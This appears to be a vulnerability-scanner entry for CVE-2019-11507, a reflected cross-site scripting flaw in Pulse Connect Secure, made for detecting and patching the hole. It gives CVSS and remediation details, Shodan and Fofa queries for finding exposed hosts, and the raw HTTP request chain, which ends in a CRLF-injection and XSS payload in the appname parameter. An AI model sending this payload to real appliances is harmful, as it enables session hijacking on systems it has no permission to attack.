| Title | Pulse Secure Pulse Connect Secure - Cross-Site Scripting (Reflected) |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement. |
| Remediation | Update to version 8.3R7.1 or 9.0R3 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00741 |
| CVE ID | CVE-2019-11507 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"welcome.cgi?p=logo"http.title:"ivanti connect secure" |
| Fofa Query | body="welcome.cgi?p=logo"title="ivanti connect secure" |
| Tags | cve cve2019 pulsesecure xss vkev vuln |
Pulse Secure Pulse Connect Secure (PCS) 8.3.x before 8.3R7.1 and 9.0.x before 9.0R3 contain a reflected cross-site scripting caused by insufficient sanitization on the Application Launcher page, letting attackers execute scripts in the context of the affected page, exploit requires victim to visit a malicious link.
GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept-Encoding: gzip
POST /dana-na/auth/url_default/login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 108
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
tz_offset=330&clientMAC=&xsauth_token=scUjY3&username=pvfxbm&password=tzhOrWUp&realm=Users&btnSubmit=Sign+In
GET /dana/home/cts_get_ica.cgi?bm_id=x&vdi=1&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-11507.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-11507.pcap
N/AN/A